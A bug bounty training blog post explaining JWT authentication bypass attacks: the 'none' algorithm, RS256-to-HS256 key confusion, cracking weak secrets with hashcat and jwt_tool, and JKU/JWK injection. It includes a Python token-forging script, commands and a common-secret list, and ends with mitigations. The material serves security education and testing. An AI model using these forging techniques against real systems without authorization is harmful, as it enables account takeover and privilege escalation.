BBLABS v2BBLABSv2
>Home>Labs
>New labs

Latest 3 labs

Loading…

View all labs →
>Creators>Ranking
>Learn

Learn bug bounty

AcademyGuides, cheatsheets and glossaryVulnerabilitiesXSS, SQLi, IDOR, SSRF and moreHunter RoadmapYour step-by-step bug bounty pathBlogBug bounty guides and news
>Business>Pricing
ES
Log inLog in
>Home>Labs>New labs>Creators>Ranking>Learn>Business>Pricing
ES
Sign inCreate account

Contact

Practice, learn and hack

Bug bounty practice platform with labs based on real reports. Learn ethical hacking in safe environments.

contact→

Follow us

YouTube
@0xGorka
X
@gorkaelbochi
LinkedIn
gorka-el-bochi-morillo
Instagram
@_.gorkaaa.b
Email
team@bblabs.es

Access every lab from €7.99/mo

New labs every week. Cancel anytime.

Create account

BBLabs is the bug bounty labs platform where you learn bug bounty with real vulnerabilities extracted from paid reports on HackerOne, Bugcrowd and Intigriti. Here you practice web hacking —XSS, SQLi, IDOR, SSRF, CSRF and more— in downloadable environments, capture the flag, read the writeup and apply the technique on active bug bounty programs.

BBLabs is the alternative to HackTheBox, TryHackMe and PentesterLab for those who want to practice bug bounty with real reports instead of artificial CTFs. From €7.99/mo, no commitment.

→ Learn bug bounty from scratch→ How to do bug bounty step by step→ Real bug bounty reports→ BBLabs for companies and academiesLabsAcademyVulnerabilitiesToolsHunter rankingXSS labsIDOR labsSSRF labsCSRF labsHackTheBox alternativeHack4u alternativeTryHackMe alternativePortSwigger alternativePentesterLab alternativeBug Bounty Labs comparisonHackerOne to practiceOffSec / OSCP alternativeINE / eWPT alternativeHTB Academy alternativeDVWA alternativeJuice Shop alternativeVulnHub alternativePentesterAcademy alternativeRoot-Me alternativeHackTheBox vs TryHackMeBest bug bounty platforms 2026BlogSpoilersWhat is bug bounty?How much do you earn in bug bounty?OWASP Top 10 explainedBest sites to practice web hackingHow to become an ethical hacker from scratchBurp Suite tutorial (Spanish)OSCP guide and prepGoogle Dorks for bug bountyHow much an ethical hacker earns in SpainBug bounty tools 2026Best cybersecurity certifications 2026Burp Suite tutorialsqlmap tutorialffuf web fuzzingnuclei tutorialHTTP Request SmugglingWAF bypassPrompt injection (LLM)Google Dorks
Made withand code
TermsPrivacyComparisonES

© 2026 BBLABS v2 — All rights reserved

back to blog
techniques

Authentication bypass: JWT attacks

Explore the most common techniques for attacking insecure JSON Web Token implementations: from the none algorithm to JKU/JWK injection.

B

BBLabs

Security Researcher

Dec 20, 202514 min read
#jwt#authentication#bypass

What is a JWT?

JSON Web Token (JWT) is an open standard (RFC 7519) for securely transmitting information between parties as a signed JSON object. It's widely used for authentication and authorization in modern web applications.

The structure of a JWT

A JWT consists of three parts separated by dots:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4iLCJyb2xlIjoiYWRtaW4ifQ.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Header

{
  "alg": "HS256",
  "typ": "JWT"
}

Defines the signing algorithm used (HS256, RS256, ES256, etc.).

Payload

{
  "sub": "1234567890",
  "name": "John",
  "role": "user",
  "iat": 1516239022,
  "exp": 1516242622
}

Contains the claims — the data you want to transmit (user identity, roles, permissions, expiration).

Signature

HMACSHA256(
  base64UrlEncode(header) + "." + base64UrlEncode(payload),
  secret
)

Guarantees the integrity of the token. If someone modifies the header or the payload, the signature won't match.

Attack 1: The "none" algorithm

Some servers accept unsigned tokens if the alg field in the header is set to "none":

// Original header
{"alg": "HS256", "typ": "JWT"}

// Modified header
{"alg": "none", "typ": "JWT"}

How to exploit it

  1. Decode the JWT (it's just Base64)
  2. Change the algorithm to "none"
  3. Modify the payload (for example, change "role": "user" to "role": "admin")
  4. Remove the signature (leave only the trailing dot)
  5. Send the modified token
import base64
import json

# Header with alg: none
header = base64.urlsafe_b64encode(
    json.dumps({"alg": "none", "typ": "JWT"}).encode()
).decode().rstrip("=")

# Modified payload
payload = base64.urlsafe_b64encode(
    json.dumps({"sub": "1234", "role": "admin"}).encode()
).decode().rstrip("=")

# Unsigned token
token = f"{header}.{payload}."
print(token)

Variations

Try different casings of the algorithm: "none", "None", "NONE", "nOnE".

Attack 2: Key confusion (Key Confusion / Algorithm Confusion)

This attack exploits the difference between symmetric (HS256) and asymmetric (RS256) algorithms:

  • RS256: Signs with a private key, verifies with a public key
  • HS256: Signs and verifies with the same secret key

The trick

If the server uses RS256 and you can obtain the public key (which is often accessible), you can:

  1. Change the algorithm from RS256 to HS256
  2. Sign the token using the server's public key as the HMAC secret
  3. The server will try to verify with HS256 using the public key as the secret and accept the token
# Get the server's public key
curl -s https://target.com/.well-known/jwks.json | jq

# Or from the SSL certificate
openssl s_client -connect target.com:443 | openssl x509 -pubkey -noout

Attack 3: Weak secrets

If the server uses HS256 with a weak secret, you can brute-force it:

# Using hashcat
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt

# Using jwt_tool
python3 jwt_tool.py <JWT> -C -d /path/to/wordlist.txt

Common secrets you can try

secret
password
123456
your-256-bit-secret
change_this_secret
default

Attack 4: JKU/JWK injection

JKU (JWK Set URL)

The JWT header can contain a jku field pointing to a URL where the public key used to verify the signature is hosted:

{
  "alg": "RS256",
  "typ": "JWT",
  "jku": "https://target.com/.well-known/jwks.json"
}

The attack

  1. Generate your own RSA key pair
  2. Host your public key on a server you control
  3. Modify the jku to point to your server
  4. Sign the token with your private key
  5. The server will download your public key and verify the token as valid
# Generate a key pair
openssl genrsa -out private.pem 2048
openssl rsa -in private.pem -pubout -out public.pem

# Create a JWKS with your public key and host it
python3 -m http.server 8080  # Serve the jwks.json file

Embedded JWK

Similar to the JKU attack, but in this case the header directly includes the public key inside the token:

{
  "alg": "RS256",
  "typ": "JWT",
  "jwk": {
    "kty": "RSA",
    "n": "your_public_key_here...",
    "e": "AQAB"
  }
}

How to test JWTs in practice

1. Identify the use of JWTs

# Look for tokens in Authorization headers
Authorization: Bearer eyJhbGci...

# Look for tokens in cookies
Cookie: session=eyJhbGci...

# Look for tokens in URL parameters
?token=eyJhbGci...

2. Decode and analyze

# Use jwt.io to decode visually
# Or from the command line:
echo "eyJhbGci..." | cut -d. -f2 | base64 -d 2>/dev/null | jq

3. Use jwt_tool to automate testing

# Installation
git clone https://github.com/ticarpi/jwt_tool
pip3 install -r requirements.txt

# Full scan mode
python3 jwt_tool.py <JWT> -M at    # All Tests
python3 jwt_tool.py <JWT> -M pb    # Playbook mode

Recommended tools

  • jwt.io: Visual JWT debugger
  • jwt_tool: A full JWT attack suite
  • Burp Suite + JSON Web Tokens extension: JWT manipulation inside Burp
  • hashcat: JWT secret cracking
  • jq: JSON parsing in the terminal

Mitigations you'll come across

When testing, keep in mind that well-configured servers:

  • Reject the none algorithm
  • Validate the expected algorithm server-side (they don't trust the header)
  • Use long, random secrets for HS256
  • Don't follow external jku URLs without validating against a whitelist
  • Validate exp, iss, aud and other claims

Conclusion

JWT attacks are one of the most technically interesting categories in bug bounty. Although modern implementations are usually well protected, it's still surprisingly common to find servers that accept the none algorithm, use weak secrets or don't correctly validate the jku field. Every time you see a JWT in an application, take the time to test these attack vectors.

share
share:
hunters training
650

hunters training

labs from real reports
50

labs from real reports

completions
380

completions

in bounties practiced
$200,000

in bounties practiced

40 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy
BBLabs · bug bounty training

Stop reading about bugs and start hunting them

Create your free account and practice on labs based on real reports that paid out thousands of euros. The Academy is free forever.

Create free accountSee the labs

No card · free Academy · cancel anytime

[RELATED_POSTS]

Continue Reading

techniques

Beginner's guide to IDOR

Learn to identify and exploit IDOR (Insecure Direct Object Reference) vulnerabilities in web applications. From the basics to writing effective reports.

Mar 10, 2026•12 min read
techniques

SSRF: From P4 to Critical

Learn to escalate SSRF vulnerabilities from a low severity to critical impact. Exploitation techniques, filter bypasses and attack chains in cloud environments.

Nov 30, 2025•16 min read
techniques

Google Dorks for bug bounty: recon with search engines (guide + examples)

Google Dorks guide for bug bounty: what they are, the operators (site:, inurl:, intitle:, filetype:, ext:, intext:), ready-to-use examples for info exposure, panels, sensitive files and subdomains, ethical use within scope and how they fit into your recon.

2026-07-21•12 min read